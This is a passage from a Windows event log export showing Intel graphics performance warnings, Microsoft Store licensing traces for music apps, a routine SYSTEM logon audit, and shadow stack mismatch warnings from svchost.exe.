stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:12.221\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:12.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:13.449\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:13.778\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:14.229\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:14.234\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:17.306\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:17.356\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:17.361\t22\tSuspended: false\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:13:17.376\t22\tSuspended: true\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:13:17.376\t23\t\"Released exclusive mode resource false\nReleased offload mode resource true\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:13:29.447\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:29.450\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:39.819\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:54.106\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:54.997\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:55.663\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:56.218\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:56.553\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:57.110\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:57.442\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:13:57.602\t8001\t\"Invoking license manager because license/lease polling time up: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.603\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.604\t8002\t\"Failure Message: hr: 0x800703f0\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2324)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.605\t8001\t\"Failure Message: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp(2324)\\LicenseManager.dll!00007FFBF486A702: (caller: 00007FFBF525134D) Exception(11) tid(20bc) 800703F0 \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0442\u043e\u043a\u0435\u043d.\n\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2348)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.605\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.605\t8002\t\"Failure Message: hr: 0x800703f0\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2324)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.605\t8001\t\"Failure Message: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp(2324)\\LicenseManager.dll!00007FFBF486A702: (caller: 00007FFBF525134D) Exception(12) tid(984) 800703F0 \u041f\u043e\u043f\u044b\u0442\u043a\u0430 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0442\u043e\u043a\u0435\u043d.\n\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2348)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.606\t8001\t\"ServiceBeginAcquireLicenseImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, IsSystemUsage:1\nFunction: ServiceBeginAcquireLicenseImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2304)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.607\t8001\t\"Skipping license manager: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.611\t8001\t\"Licensing package A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6 (3)\nFunction: OneStoreApplicationLicenseManager::GetLicenseForInstalledPackage\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (120)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.611\t8001\t\"Licensing 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.611\t8001\t\"0000021F831D3050: Key Machine for content: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.612\t8011\t0x21f83133e68: 8380: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.612\t8011\t0x21f831d3070: 8380: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.612\t8001\t\"0000021F831D3050: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.612\t8012\t0x21f831d3070: 8380: Key:Initial Change: Key:NegotiatingUnleased => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.636\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:13:57.636\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:13:57.642\t1002\tError 0x80070005 occurred while verifying known folder {62ab5d82-fdc1-4dc3-a9dd-070d1d495d97} with path 'C:\\ProgramData'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 09:13:57.650\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: \u042f\u043d\u0434\u0435\u043a\u0441.\u041c\u0443\u0437\u0438\u043a\u0430, {071f875e-406c-4938-beaa-65f69cc573e2}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 09:13:57.658\t100\tClipSVC service is starting.  Caller: TriggerStarted\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:13:57.660\t101\tClipSVC service is running.  Version 10.0.26100.9168\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:13:57.669\t8001\t\"Considering License ID {DE7849EA-B8E4-60D1-C780-7B0969A99E76} for content ID 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.669\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"b7757af6-9e6d-4d21-8272-c9137a2e9145\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.669\t8001\t\"Accepting key with License ID {DE7849EA-B8E4-60D1-C780-7B0969A99E76} for Content ID 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.669\t8001\t\"Returning key document for contentid 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.669\t8001\t\"Getting lease for 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.671\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.671\t8001\t\"Adding lease {941FBCC0-EC32-D9CB-EB46-FC3AE38EC79B} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.671\t8001\t\"Returning 1 lease documents for contentid 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.671\t8001\t\"lease = 0x831af3b8, usage = 268435456, policy = 1, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.671\t8011\t0x21f831d3070: 8380: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.677\t8001\t\"lease = 0x831af3b8, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.677\t8001\t\"Lease Machine: 0000021F8312B400: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.677\t8001\t\"Set results for lease = 0x831af3b8, policy = 1, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x831af3b8\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8012\t0x21f831d3070: 8380: Key:NegotiatingUnleased Change: Key:Valid => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8011\t0x21f8312b420: 8380: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8012\t0x21f8312b420: 8380: Lease:Initial Change: Lease:Valid => {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"b7757af6-9e6d-4d21-8272-c9137a2e9145\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8001\t\"ReactiveLicensingResult: 0x00000000 for A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6, 63ms\nFunction: LogReactiveLicensingResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\telemetry.cpp (512)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8011\t0x21f831d3070: 2436: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8001\t\"Updating lease timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9} to expire @ 2026-09-05T02:52:23Z (jitter was 38.427246 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8001\t\"Added timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.678\t8011\t0x21f8312b420: 8380: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:13:57.679\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 15612) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf0267243, module offset: 0x17243, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x2bec9d03a40, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:13:57.679\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 15612) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf025fda9, module offset: 0xfda9, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x2bec9d03200, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:13:57.679\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 15612) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf02690c3, module offset: 0x190c3, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x2bec9d03209, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 09:13:57.679\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 15612) has encountered a shadow stack 